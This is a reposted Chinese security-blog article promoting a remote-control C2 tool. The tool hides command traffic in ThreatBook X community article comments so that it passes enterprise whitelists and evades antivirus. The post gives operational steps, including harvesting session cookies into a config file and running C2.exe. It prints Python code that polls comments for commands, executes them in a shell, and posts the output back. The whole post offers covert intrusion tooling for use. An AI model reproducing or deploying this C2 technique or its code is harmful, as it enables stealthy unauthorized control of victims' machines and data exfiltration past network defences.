利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)

admin 2023年12月21日09:48:41评论27 views字数 2492阅读8分18秒阅读模式

免责声明

由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把夜组安全设为星标”,否则可能就看不到了啦!






01

前言

微步的X情报社区具有信息分享、传播及获取的功能,用户发表的信息是公开的信息,其他第三方均可以通过X情报社区获取用户发表的信息。在众多的攻防演练中常用于溯源,分析恶意IP,恶意附件等,殊不知也可以利用其天然白名单且免杀的优势做C2远控,防不胜防!如今许多企业网络设置了上网行为管理,网关等各种千奇百怪的安全设备,网络只对特定IP或域名设置白名单开放,然后限制一切陌生流量,这样则会导致即使对C2做了云函数,CDN,域前置,IPv6等各种技术实现了隐匿但是流动不起来,无法上线,此时则需要一个天然白名单做C2,不仅隐匿性杠杠滴,还无视各种安全设备,从而直接远控!


附上微步情报社区:https://x.threatbook.com/


项目地址
https://github.com/yuziiiiiiiiii/ThreatBook-C2

02

演示

桌面端

利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)

移动端

利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)

03

流量分析

利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)

根据流量包,可以看出和C2的通讯IP为117.50.19.28是微步社区的IP,企业内为默认白名单IP,因此IP上不仅做到了隐匿也做到了与企业间可通信。流量走https加密流量,命令间存在心跳时间

利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)


04

实操

  •  一个微步社区正常的账号(可以创建干净的小号,进一步增强隐匿性)

  • 发布一篇微步社区文章(建议提前几天准备好,临时发布的文章曝光度高,容易被其他人看见),建议提前将命令输入评论区(命令格式是"命令+真正的命令"),避免踩空

利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)

  • 记录下关键信息

微步社区的文章ID

利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)

微步社区的验证字段csrfTokenremembermexx-csrf

利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)

将关键信息填入config.ini中

利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)

同目录下运行C2.exe(目测无视一切杀软执行命令且回显),这时候回到微步社区文章页面进行刷新,会发现命令已经回显

利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)

若需要再次执行命令只需要在评论区按格式输入命令,等待心跳时间后,即可以获取下一个命令回显(默认设置的是5s心跳时间)


结束远控后,及时保留关键信息并且将文章删除即可

利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)


05

工具下载

此基于微步社区的远控,主要实现上利用了三个核心代码,分别为获取命令、回显命令、执行命令,以下我们来逐一解析

1. 获取命令

def get_comments(short_message_id):    base_url = "https://x.threatbook.com/v5/node/user/article/queryComments?shortThreatId="+short_message_id    try:      #模拟用户发包        response = requests.get(base_url)        # 直接使用 response.json() 获取对象        json_object = response.json()        # 定义一个评论列表        comments_list = json_object["data"]["list"]        # 提取第一个 comments 对应的值        first_comment = comments_list[0]["comments"]        # 返回第一个 comments 对应的值        return first_comment        # 错误性判断    except requests.exceptions.RequestException as e:        print(f"Error: {e}")

2. 回显命令

def send_comment(comment, short_message_id, csrf_token, rememberme, xx_csrf):    url = "https://x.threatbook.com/v5/node/user/article/saveComment"  #请求头    headers = {        "Host": "x.threatbook.com",        "Cookie": f"csrfToken={csrf_token}; rememberme={rememberme}; xx-csrf={xx_csrf}",        "Content-Type": "application/json",        "X-Csrf-Token": csrf_token,        "Xx-Csrf": xx_csrf,        "Sec-Ch-Ua-Mobile": "?0",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"    }  #请求体    data = {        "comment": comment,        "isAnonymous": "False",        "targetId": "0",        "shortMeaasgeId": short_message_id    }  #回显命令    try:        response = requests.post(url, json=data, headers=headers)        return response.json()    except requests.exceptions.RequestException as e:        print(f"Error: {e}")

3. 执行命令

  def command(cmd):  #Popen()函数使用shell执行命令,stdout和stderr是子进程的标准输出和标准错误输出    process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)    #启动并等待子进程完成,通过stdout和stderr读取子进程的输出    stdout, stderr = process.communicate()    #返回标准输出并解码为gbk编码的字符串    return stdout.decode('gbk')

06

原文始发于微信公众号(夜组安全):利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日09:48:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用微步社区做天然白名单且免杀的远控C2(支持手机电脑)https://cn-sec.com/archives/2323225.html

发表评论

匿名网友 填写信息